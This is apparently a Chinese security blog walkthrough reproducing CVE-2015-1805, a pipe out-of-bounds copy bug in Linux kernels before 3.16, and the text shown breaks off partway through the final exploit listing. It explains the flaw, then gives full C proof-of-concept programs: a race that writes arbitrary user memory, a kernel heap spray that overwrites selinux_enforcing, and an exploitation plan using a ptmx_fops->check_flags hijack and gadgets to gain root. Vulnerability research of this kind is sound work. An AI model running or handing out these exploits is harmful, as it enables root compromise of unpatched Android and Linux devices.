CVE-2015-1805 漏洞复现 - iovyroot

影响版本: < linux kernel 3.16

CVE信息:https://nvd.nist.gov/vuln/detail/CVE-2015-1805

补丁信息:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=637b58c2887e5e57850865839cc75f59184b23d1

https://github.com/raymanfx/android-cve-checker/blob/master/patches/3.10/CVE-2015-1805.patch

这个漏洞漏洞点代码量不多,但poc由于涉及条件竞争故而较复杂,所以我们先看漏洞分析。

漏洞分析

漏洞的本质是,pipe_iov_copy_to_user()/pipe_iov_copy_from_user() 函数在拷贝中途出现错误返回时,未考虑如何将已拷贝的数据长度同步给上级函数,而上级函数也不考虑已拷贝的长度,将再次以相同的长度参数调用该函数,那么就会引发越界读写的问题。

漏洞出现在管道的内核实现代码中,管道读写处理函数 pipe_read()pipe_write() 均存在该漏洞,但我们以 pipe_read() 为例进行代码分析。

pipe_read() 中会调用 pipe_iov_copy_to_user() 函数进行一段数据的拷贝:iov是用户态传入的iovec数组,from是管道中待读取数据的起始地址,len是当前管道段(pipe_buffer)可读取数据的长度,atomic为1表示iov中的地址已通过检查可走快速拷贝分支(__copy_to_user_inatomic())。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static int pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len, int atomic)
{
unsigned long copy;

while (len > 0) { /* 从 pipe buffer 中共拷贝 len 字节数据 */
while (!iov->iov_len) /* 将数据分别拷贝到用户态指定的各个iov[idx].iov_base中 */
iov++;
copy = min_t(unsigned long, len, iov->iov_len);

if (atomic) { /* atomic为1时走快速拷贝分支,为0时走正常拷贝分支*/
if (__copy_to_user_inatomic(iov->iov_base, from, copy))
return -EFAULT;
} else {
if (copy_to_user(iov->iov_base, from, copy))
return -EFAULT;
}
from += copy;
len -= copy;
iov->iov_base += copy;
iov->iov_len -= copy;
}
return 0;
}

拷贝成功时没什么问题,拷贝失败时父级函数会如何处理呢?我们来看一下 pipe_read() 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
unsigned long nr_segs, loff_t pos)
{
/* ... */
for (;;) {
if (bufs) {
/* ... */
atomic = !iov_fault_in_pages_write(iov, chars);
redo:
addr = ops->map(pipe, buf, atomic);
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
ops->unmap(pipe, buf, addr);
if (unlikely(error)) { /* 拷贝失败时的处理 */
if (atomic) { /* 如果刚刚进行的是快速拷贝分支(atomic==1)分支失败了 */
atomic = 0;
goto redo; /* 则再尝试拷贝一次,这次走copy_to_user()分支 */
}
/* ... */
}
/* ... */
}
}

我们发现再次调用 pipe_iov_copy_to_user() 函数进行拷贝时,长度chars没有改变。也就是说即使第一次已经完成了一部分拷贝工作,但第二次的拷贝长度依然是chars。那么毫无疑问,会越界写iov中的地址(iov[idx].iov_base),写的内容就是管道中的数据。

因此,如果某个 iov[a].iov_basepipe_iov_copy_to_user() 函数中突然变得不可访问,然后再进入redo流程后又变得可访问,那么就会触发漏洞,越界往 iov[a+1].iov_baseiov[a+n].iov_base 中写入内容。

但此时在 pipe_iov_copy_to_user() 函数中走的是 copy_to_user() 分支,往任意用户态地址写的能力太弱了。那么,能否让 pipe_iov_copy_to_user() 再次进入快速拷贝分支呢?

考虑这么一种情况:假设用户态需要拷贝的数据长度,大于管道中的数据长度(total_len > chars)。见如下代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
static ssize_t
pipe_read(struct kiocb *iocb, const struct iovec *_iov,
unsigned long nr_segs, loff_t pos)
{
/* ... */
for (;;) {
/* ... */
if (bufs) {
/* ... */
/* 2. 当total_len > chars时,从continue回到这里后,找下一个pipe_buffer继续拷贝 */
struct pipe_buffer *buf = pipe->bufs + curbuf;
/* ... */
size_t chars = buf->len;
/* ... */
/* 3. 检查iov[idx].iov_base 是否都可写,是的话将atomic置1*/
atomic = !iov_fault_in_pages_write(iov, chars);
redo:
/* 4. 当前pipe_buffer对应的地址是addr,数据长度为chars */
addr = ops->map(pipe, buf, atomic);
/* 5. 走快速拷贝分支 */
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
/* ... */
ret += chars;
buf->offset += chars;
buf->len -= chars;
/* ... */
if (!buf->len) {
buf->ops = NULL;
ops->release(pipe, buf);
curbuf = (curbuf + 1) & (pipe->buffers - 1);
pipe->curbuf = curbuf;
pipe->nrbufs = --bufs;
do_wakeup = 1;
}
/*total_len: 用户态iovec指定的长度总和。chars:当前指向的pipe_buffer中有效数据长度 */
total_len -= chars;
if (!total_len)
break; /* common path: read succeeded */
}
if (bufs) /* More to do? */
/* 1. 走到这就说明:还需要从管道中拷贝(total_len!=0),且管道中还有剩余数据可供拷贝(bufs!=0)*/
continue;
/* ... */
}
/* ... */
return ret;
}

以上流程说明,如果 total_len > chars ,在拷贝完chars长度后,有机会再次置atomic为1,走快速拷贝分支(__copy_to_user_inatomic())。也就是说,如果后续的 iov[].iov_base 中有内核地址,那么就可以完成任意内核地址写。

漏洞验证

环境搭建

下载goldfish源码,回滚到未patch版本,然后编译生成内核文件。

1
2
3
4
5
6
git clone https://android.googlesource.com/kernel/goldfish.git -b android-goldfish-3.10
cd goldfish
git checkout 4a5a45669796c5b4617109182e25b321f9f00beb fs/pipe.c

make ARCH=arm64 ranchu_defconfig
make ARCH=arm64 CROSS_COMPILE=/home/bling/Downloads/android-ndk-r12b/toolchains/aarch64-linux-android-4.9/prebuilt/linux-x86_64/bin/aarch64-linux-android- -j8

如何加载启动该内核文件可参考我之前的文章:android 模拟器 goldfish 环境搭建

poc验证

本着由简入难的想法,先构造一个任意用户态地址写,再构造一个任意内核地址写。

往任意用户态地址写

这个漏洞的触发并不简单,有以下几个关键点需要保证:

  • 在 iov_fault_in_pages_write() 函数检查时,所有 iov[idx].iov_base 地址需要可写入
  • 第一次执行 pipe_iov_copy_to_user() 函数时,拷贝一段数据后,某个iov_base突然不可写,于是流程进入redo
  • 第二次执行 pipe_iov_copy_to_user() 函数时,上文这个iov_base又变成可写状态,于是完成页面内容的拷贝(大小为PAGE_SIZE/chars)。由于total_len大于chars,于是会走向continue分支
  • 第三次执行 pipe_iov_copy_to_user() 函数时,基于第一次拷贝失败时已拷贝字节数(copied_len),这里会越界获取iov[].iov_base,往该地址写入一段管道中的数据(copied_len)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
for (;;) {               // 一次for循环可以看作对一个 pipe_buffer(<4096 bytes)的操作
/* ... */
if (bufs) {
/* ... */
/* check,要求此时所有iov[idx]->iov_base的页面都合法 */
atomic = !iov_fault_in_pages_write(iov, chars);
redo:
/* ... */
/* 1. 第一次use,使用过程中令某个iov_base页面不可访问,于是拷贝失败,进入redo触发漏洞*/
/* 3. 第二次use,需要使上一步不可访问的iov_base页面变成可访问,从而可以继续写*/
/* 5. 第三次use,触发越界写*/
error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic);
ops->unmap(pipe, buf, addr);
if (unlikely(error)) {
if (atomic) {
atomic = 0;
goto redo; /* 2. pipe_iov_copy_to_user()第一次拷贝失败会进redo分支*/
}
if (!ret)
ret = error;
break;
}

total_len -= chars;
if (!total_len)
break;
}
if (bufs) /* More to do? */
continue; /* 4. total_len大于chars,需要继续拷贝 */

}

poc使用了三个线程来竞争触发漏洞:

  1. 控制某块空间时而可访问,时而不可访问(mmap,munmap)
  2. 往管道中写入内容(使用write,一次写一个PAGE_SIZE)
  3. 从管道中读取内容(使用readv,传入多个iovec结构体)

本小节的完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define IOVEC_NUM 512
#define IOVECS 512
int pipe_fd[2];
struct iovec *pipe_iovec;
char wbuf[4096];

#define PIPESZ (4096 * 32)
#define MEMMAGIC (0xDEADBEEF)
#define MMAP_ADDR ((void*)0x40000000)
#define MMAP_SIZE (PAGE_SIZE * 2)
static volatile int kill_switch = 0;
static volatile unsigned long overflowcheck = MEMMAGIC;

static void* readpipe(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
readv(pipe_fd[0], pipe_iovec, ((IOVECS / 2) + 1));
}

printf("readpipe exit\n");
return 0;
}

static void* writepipe(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
write(pipe_fd[1], wbuf, sizeof(wbuf));
}
printf("writepipe exit\n");
return 0;
}


static void* mapunmap(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
munmap(MMAP_ADDR, MMAP_SIZE);
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) err("mmap() thread");

usleep(50);
}
printf("mapunmap exit\n");
return 0;
}


void settings(){
struct rlimit rlim;
int ret;
if ((ret = getrlimit(RLIMIT_NOFILE, &rlim))) err(1, "getrlimit()");
rlim.rlim_cur = rlim.rlim_max;
if((ret = setrlimit(RLIMIT_NOFILE, &rlim))) err(1, "setrlimit()"); // setfdlimit, 将能打开的文件描述数量开到最大
printf("[+] Change fd limit from %lu to %lu\n", rlim.rlim_cur, rlim.rlim_max);

if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1) err(1, "setpriority()"); // setprocesspriority, 设置当前进程的优先级为最高
printf("[+] Change process priority to highest: %d\n", ret);
}

int main(){
unsigned int i;
int ret = 0;

unsigned long test_val = 0;
unsigned long* target_addr = &test_val; // 待写的目标地址
unsigned long targetval = 0x33bbccddeeff; // 待写的值

settings();

// getpipes // 创建管道,并将其大小设置为 32*4096,防止读pipe时被阻塞
if((ret = pipe(pipe_fd))) err(1, "pipe()");
if(fcntl(pipe_fd[1], F_SETPIPE_SZ, PIPESZ) != PIPESZ) err(1, "fcntl()");

// mmap unmap addr
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) err(1, "mmap()");
// pipe readv iovec
pipe_iovec = malloc(sizeof(struct iovec) * IOVEC_NUM);
memset(pipe_iovec, 0, sizeof(pipe_iovec));
unsigned long r_buf[2];
pipe_iovec[0].iov_base = r_buf; //just any buffer that is always available
pipe_iovec[0].iov_len = sizeof(long) * 2; //how many bytes we can arbitrary write
pipe_iovec[1].iov_base = MMAP_ADDR;
pipe_iovec[1].iov_len = ((PAGE_SIZE * 2) - pipe_iovec[0].iov_len); //we need more than one pipe buf so make a total of 2 pipe bufs (8192 bytes)
pipe_iovec[(IOVECS / 2) - 2].iov_base = (void*)&overflowcheck;
pipe_iovec[(IOVECS / 2) - 2].iov_len = sizeof(overflowcheck);
pipe_iovec[(IOVECS / 2) - 1].iov_base = target_addr;
pipe_iovec[(IOVECS / 2) - 1].iov_len = sizeof(unsigned long);
// three thread race condition
pthread_t mapthread, wthread, rthread;
printf(" [+] Start map/unmap thread\n");
if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL))) err(1, "mapunmap pthread_create()");

printf(" [+] Start write thread\n");
for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++)
((long*)wbuf)[i] = targetval;
if((ret = pthread_create(&wthread, NULL, writepipe, NULL))) err(1, "write pthread_create()");

printf(" [+] Start read thread\n");
if((ret = pthread_create(&rthread, NULL, readpipe, NULL))) err(1, "read pthread_create()");

while(1)
{
if(overflowcheck != MEMMAGIC)
{
kill_switch = 1;
printf(" [+] Done\n");
printf(" overflowcheck : 0x%llx, sizeof(overflowcheck): %d \n", overflowcheck, sizeof(overflowcheck));
break;
}
}

printf("[+] done! test_val: 0x%llx\n", test_val);

pthread_join(mapthread,NULL);
pthread_join(wthread,NULL);
pthread_join(rthread,NULL);

return ret;
}

往任意内核地址写

上一小节是一个验证该漏洞实现任意地址写功能的poc,当前仅能往用户态写。因为使用 readv 传递 pipe_iovec 时,其中的 iov_base 会被检查,要求必须是用户态可访问的地址。

所以,我们需要将目标地址(内核地址)放入 pipe_iovec 在内核中申请的堆块的后面,然后利用越界访问,将后一个堆块中的内核地址作为 iov_base,完成任意地址写。如下构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
--------heap1-----------
pipe_iovec[0].iov_base = r_buf;
pipe_iovec[0].iov_len = sizeof(long) * 2;
pipe_iovec[1].iov_base = MMAP_ADDR;
pipe_iovec[1].iov_len = ((PAGE_SIZE * 2) - pipe_iovec[0].iov_len);
pipe_iovec[2].iov_base = 0;
pipe_iovec[2].iov_len = 0;
[...]
pipe_iovec[n].iov_base = 0;
pipe_iovec[n].iov_len = 0;
--------heap2-----------
overun_iovec[0].iov_base = (void*)&overflowcheck;
overun_iovec[0].iov_base = sizeof(overflowcheck);
overun_iovec[1].iov_base = kernel_addr;
overun_iovec[1].iov_base = sizeof(unsigned long);

让需要的数据刚好放置在目标堆块的后面,这当然需要使用堆喷技术来布置堆空间。需要考虑几个问题:

  1. 选择合适的堆块大小

    首先选择目标堆块的大小,通过 cat /proc/slabinfo 发现 kmalloc-8192 的使用率是最低的,为了减少干扰,优先选择该大小。

  2. 使用何种方式布置堆空间

    经过测试,有两种方式将 overun_iovec 布置到堆空间:

    • 第一种,通过堆喷把 overflowcheck 等内容布置到堆头,这样只要heap1和heap2是相邻的两个 kmalloc-8192 就能完成任意地址写。如下布局

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      --------heap1-----------
      pipe_iovec[0].iov_base = r_buf;
      pipe_iovec[0].iov_len = sizeof(long) * 2;
      pipe_iovec[1].iov_base = MMAP_ADDR;
      pipe_iovec[1].iov_len = ((PAGE_SIZE * 2) - pipe_iovec[0].iov_len);
      pipe_iovec[2].iov_base = 0;
      pipe_iovec[2].iov_len = 0;
      [...]
      pipe_iovec[511].iov_base = 0;
      pipe_iovec[511].iov_len = 0;
      --------heap2-----------
      overun_iovec[0].iov_base = (void*)&overflowcheck;
      overun_iovec[0].iov_base = sizeof(overflowcheck);
      overun_iovec[1].iov_base = kernel_addr;
      overun_iovec[1].iov_base = sizeof(unsigned long);
      overun_iovec[2].iov_base = 0;
      overun_iovec[2].iov_len = 0;
      [...]
      overun_iovec[511].iov_base = 0;
      overun_iovec[511].iov_len = 0;
    • 第二种,通过堆喷把 overflowcheck 等内容布置到堆中间靠后的部分,然后释放堆块(heap2)。这样只要 readv(heap1) 申请到heap2的同一个 kmalloc-8192 堆块,就可完成任意地址写。如下布局

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      --------heap1/heap2-----------
      pipe_iovec[0].iov_base = r_buf;
      pipe_iovec[0].iov_len = sizeof(long) * 2;
      pipe_iovec[1].iov_base = MMAP_ADDR;
      pipe_iovec[1].iov_len = ((PAGE_SIZE * 2) - pipe_iovec[0].iov_len);
      pipe_iovec[2].iov_base = 0;
      pipe_iovec[2].iov_len = 0;
      [...]
      pipe_iovec[257].iov_base = 0;
      pipe_iovec[257].iov_len = 0;
      pipe_iovec[258].iov_base = 0;
      pipe_iovec[258].iov_len = 0;
      [...]
      pipe_iovec[511].iov_base = 0;
      pipe_iovec[511].iov_len = 0;

      要求readv时指定的 iovec 大小为256+1,使其分配到kmalloc-8192。堆喷时指定的大小为512,使其分配的也是kmalloc-8192。

本小节的完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define IOVEC_NUM 512
#define IOVECS 512
int pipe_fd[2];
struct iovec *pipe_iovec;
char wbuf[4096];

#define PIPESZ (4096 * 32)
#define MEMMAGIC (0xDEADBEEF)
#define MMAP_ADDR ((void*)0x40000000)
#define MMAP_SIZE (PAGE_SIZE * 2)
static volatile int kill_switch = 0;
static volatile unsigned long overflowcheck = MEMMAGIC;

#define UDP_SERVER_PORT (5105)
#define SENDTHREADS (500)
static volatile int stop_send = 0;

unsigned long test_val = 0;
unsigned long* target_addr; // 待写的目标地址
unsigned long targetval; // 待写的值


static void* readpipe(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
readv(pipe_fd[0], pipe_iovec, ((IOVECS / 2) + 1));
}

printf("readpipe exit\n");
return 0;
}

static void* writepipe(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
write(pipe_fd[1], wbuf, sizeof(wbuf));
}
printf("writepipe exit\n");
return 0;
}


static void* mapunmap(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
munmap(MMAP_ADDR, MMAP_SIZE);
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) err("mmap() thread");

usleep(50);
}
printf("mapunmap exit\n");
return 0;
}


void settings(){
struct rlimit rlim;
int ret;
if ((ret = getrlimit(RLIMIT_NOFILE, &rlim))) err(1, "getrlimit()");
rlim.rlim_cur = rlim.rlim_max;
if((ret = setrlimit(RLIMIT_NOFILE, &rlim))) err(1, "setrlimit()"); // setfdlimit, 将能打开的文件描述数量开到最大
printf("[+] Change fd limit from %lu to %lu\n", rlim.rlim_cur, rlim.rlim_max);

if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1) err(1, "setpriority()"); // setprocesspriority, 设置当前进程的优先级为最高
printf("[+] Change process priority to highest: %d\n", ret);
}


struct iovec* sendmsg_iovec;
struct socket_pair{
int sock_a;
int sock_b;
};

struct socket_pair sockfd;

static void* writemsg(void* param){
(void)param; /* UNUSED */
struct mmsghdr msg = {{ 0 }, 0 };

socketpair(AF_UNIX, SOCK_STREAM, 0 , (int*)&sockfd);

msg.msg_hdr.msg_iov = sendmsg_iovec;
msg.msg_hdr.msg_iovlen = IOVEC_NUM;
msg.msg_hdr.msg_control = sendmsg_iovec;
msg.msg_hdr.msg_controllen = (IOVEC_NUM * sizeof(struct iovec)); // 都设置上,一次在内核中申请两个 kmalloc-8192

while(!stop_send)
{
syscall(__NR_sendmmsg, sockfd.sock_a, &msg, 1, 0);
}

close(sockfd.sock_a);
pthread_exit(NULL);
}


static int heapspray(){
unsigned int i;
void* retval;
pthread_t msgthreads[SENDTHREADS];

printf(" [+] Spraying kernel heap\n");

sendmsg_iovec = malloc(512*sizeof(struct iovec));
memset(sendmsg_iovec, 0x0, 512*sizeof(struct iovec));

sendmsg_iovec[(IOVECS / 2) + 1].iov_base = (void*)&overflowcheck;
sendmsg_iovec[(IOVECS / 2) + 1].iov_len = sizeof(overflowcheck);
sendmsg_iovec[(IOVECS / 2) + 2].iov_base = target_addr;
sendmsg_iovec[(IOVECS / 2) + 2].iov_len = sizeof(unsigned long);

for(i = 0; i < SENDTHREADS; i++)
{
if(pthread_create(&msgthreads[i], NULL, writemsg, NULL))
{
perror("heapspray pthread_create()");
return 1;
}
}

sleep(2);
stop_send = 1;
for(i = 0; i < SENDTHREADS; i++)
pthread_join(msgthreads[i], &retval);
stop_send = 0;

return 0;
}

int main(){
unsigned int i;
int ret = 0;

target_addr = 0xffffffc0006eba08; // 待写入内核地址,示例是环境中的selinux_enforcing地址
targetval = 0x0; // 待写入的值

settings();

// getpipes // 创建管道,并将其大小设置为 32*4096,防止读pipe时被阻塞
if((ret = pipe(pipe_fd))) err(1, "pipe()");
if(fcntl(pipe_fd[1], F_SETPIPE_SZ, PIPESZ) != PIPESZ) err(1, "fcntl()");

// mmap unmap addr
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) err(1, "mmap()");
// pipe readv iovec
pipe_iovec = malloc(sizeof(struct iovec) * IOVEC_NUM);
memset(pipe_iovec, 0, sizeof(pipe_iovec));
unsigned long r_buf[2];
pipe_iovec[0].iov_base = r_buf; //just any buffer that is always available
pipe_iovec[0].iov_len = sizeof(long) * 2; //how many bytes we can arbitrary write
pipe_iovec[1].iov_base = MMAP_ADDR;
pipe_iovec[1].iov_len = ((PAGE_SIZE * 2) - pipe_iovec[0].iov_len); //we need more than one pipe buf so make a total of 2 pipe bufs (8192 bytes)

// three thread race condition
pthread_t mapthread, wthread, rthread;
printf(" [+] Start map/unmap thread\n");
if((ret = pthread_create(&mapthread, NULL, mapunmap, NULL))) err(1, "mapunmap pthread_create()");

printf(" [+] Start write thread\n");
for(i = 0; i < (sizeof(wbuf) / sizeof(targetval)); i++)
((long*)wbuf)[i] = targetval;
if((ret = pthread_create(&wthread, NULL, writepipe, NULL))) err(1, "write pthread_create()");

// heap spray
heapspray();

printf(" [+] Start read thread\n");
if((ret = pthread_create(&rthread, NULL, readpipe, NULL))) err(1, "read pthread_create()");

while(1)
{
if(overflowcheck != MEMMAGIC)
{
kill_switch = 1;
printf(" [+] Done\n");
printf(" overflowcheck : 0x%llx, sizeof(overflowcheck): %d \n", overflowcheck, sizeof(overflowcheck));
break;
}
}

printf("[+] done! test_val: 0x%llx\n", test_val);

pthread_join(mapthread,NULL);
// pthread_join(wthread,NULL); // 有概率会卡住
pthread_join(rthread,NULL);

return ret;
}

漏洞利用

准备用两种方法来做:

  1. ptmx_fop->check_flags ,控制流劫持后泄露内核sp信息,然后利用任意地址写写addr limit 和selinux,通过pipe任意读写内核,提权
  2. 用KSMA的方法,改页表,将内核镜像重新映射成可写的,然后改 setresuid() 函数,使普通用户可以将自己变成root

ptmx_fop→check_flags

  1. 如何找到 ptmx_fops->check_flags 的地址?(check_flags第一个参数用户态可控)

    通过调用链 sys_fcntl->do_fcntl->setfl,结合 bzImage.elf 和源码来确认check_flags 在 ptmx_fops 中的偏移。

    本次实验环境中,ptmx_fops 的地址是 0xFFFFFFC0006F0F28,check_flags 的偏移是 0xA8,所以ptmx_fops->check_flags 的地址为 0xFFFFFFC0006F0FD0。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
          v27 = *(__int64 (__fastcall **)(_QWORD))(v26 + 0xA8);     
    // ptmx_fops->check_flags
    if ( !v27 )
    {
    if ( (((unsigned int)a3 ^ *(_DWORD *)(v9 + 64)) & 0x2000) == 0 )
    goto LABEL_92;
    goto LABEL_90;
    }
    v16 = v27((unsigned int)a3); // a3是用户态传入参数
    if ( v16 )
  2. 找一条泄露内核sp的gadget

    如下四条gadget均能满足要求

    1
    2
    3
    4
    5
    6
    7
    0xffffffc00027ad14 : ldr x1, [x0, #0x20] ; add x0, x29, #0x50 ; blr x1

    0xffffffc000198d50 : ldr x1, [x0, #8] ; cbz x1, #0xffffffc000198d60 ; add x0, x29, #0x10 ; blr x1

    0xffffffc000198e20 : ldr x1, [x0, #8] ; cbz x1, #0xffffffc000198e30 ; add x0, x29, #0x30 ; blr x1

    0xffffffc000211d20 : ldr x1, [x21, #0x18] ; add x0, x29, #0x88 ; blr x1 ;

    令 x1 为 check_flags 被调用后的返回地址即 0xFFFFFFC00015EC34,x0中存储当前进程的内核栈地址。由于 w0 非0,将会跳转到 0xFFFFFFC00015EA3C 处继续执行即返回用户态。用户态会得到w0的值,缺点是这是一个 int 类型的返回值,只有低8位。不过影响不大,栈地址的前几位是 0xffffffc0,补上即可。

    1
    2
    3
    4
    .kernel:FFFFFFC00015EC2C                 MOV             W0, W22 
    .kernel:FFFFFFC00015EC30 BLR X1 # 这里x1是ptmx_fops->check_flags
    .kernel:FFFFFFC00015EC34 CBNZ W0, loc_FFFFFFC00015EA3C
    .kernel:FFFFFFC00015EC38 LDR W0, [X19,#0x40]

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>

#define IOVEC_NUM 512
#define PIPESZ (4096 * 32)
#define MEMMAGIC (0xDEADBEEF)
#define MMAP_ADDR ((void*)0x40000000)
#define MMAP_SIZE (PAGE_SIZE * 2)
#define SENDTHREADS (500)
#define KERNEL_START 0xffffffc000000000

static volatile int kill_switch = 0;
static volatile unsigned long overflowcheck = MEMMAGIC;
static volatile int stop_send = 0;

int pipe_fd[2];
char wbuf[4096];
struct iovec *pipe_iovec;
struct iovec* sendmsg_iovec;

struct socket_pair{
int sock_a;
int sock_b;
};
struct socket_pair sockfd;

void maximize_fd_limit(){
struct rlimit rlim;
int ret;
if ((ret = getrlimit(RLIMIT_NOFILE, &rlim))) err(1, "getrlimit()");
rlim.rlim_cur = rlim.rlim_max;
if((ret = setrlimit(RLIMIT_NOFILE, &rlim))) err(1, "setrlimit()"); // setfdlimit, 将能打开的文件描述数量开到最大
printf("[+] set RLIMIT_NOFILE to %d\\n",rlim.rlim_cur);
}

void setprocesspriority(){
int ret;
if((ret = setpriority(PRIO_PROCESS, 0, -20)) == -1) err(1, "setpriority()");
printf("[+] Change process priority to highest: %d\\n", ret);
}

static void* mapunmap(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
munmap(MMAP_ADDR, MMAP_SIZE);
if(mmap(MMAP_ADDR, MMAP_SIZE, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0) == (void*)-1) err("mmap() thread");

usleep(50);
}
printf("mapunmap exit\\n");
return 0;
}

static void* writepipe(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
write(pipe_fd[1], wbuf, sizeof(wbuf));
}
printf("writepipe exit\\n");
return 0;
}

static void* readpipe(void* param){
(void)param; /* UNUSED */
while(!kill_switch){
readv(pipe_fd[0], pipe_iovec, ((IOVEC_NUM / 2) + 1));
}

printf("readpipe exit\\n");
return 0;
}

static void* writemsg(void* param){
(void)param; /* UNUSED */
struct mmsghdr msg = {{ 0 }, 0 };

socketpair(AF_UNIX, SOCK_STREAM, 0 , (int*)&sockfd);

msg.msg_hdr.msg_iov = sendmsg_iovec;
msg.msg_hdr.msg_iovlen = IOVEC_NUM;
msg.msg_hdr.msg_control = sendmsg_iovec;
msg.msg_hdr.msg_controllen = (IOVEC_NUM * sizeof(struct iovec)); // 都设置上,一次在内核中申请两个 kmalloc-8192

while(!stop_send)
{
syscall(__NR_sendmmsg, sockfd.sock_a, &msg, 1, 0);
}

close(sockfd.sock_a);
return 0;
}

static int heapspray(void* target_addr){
unsigned int i;
void* retval;
pthread_t msgthreads[SENDTHREADS];


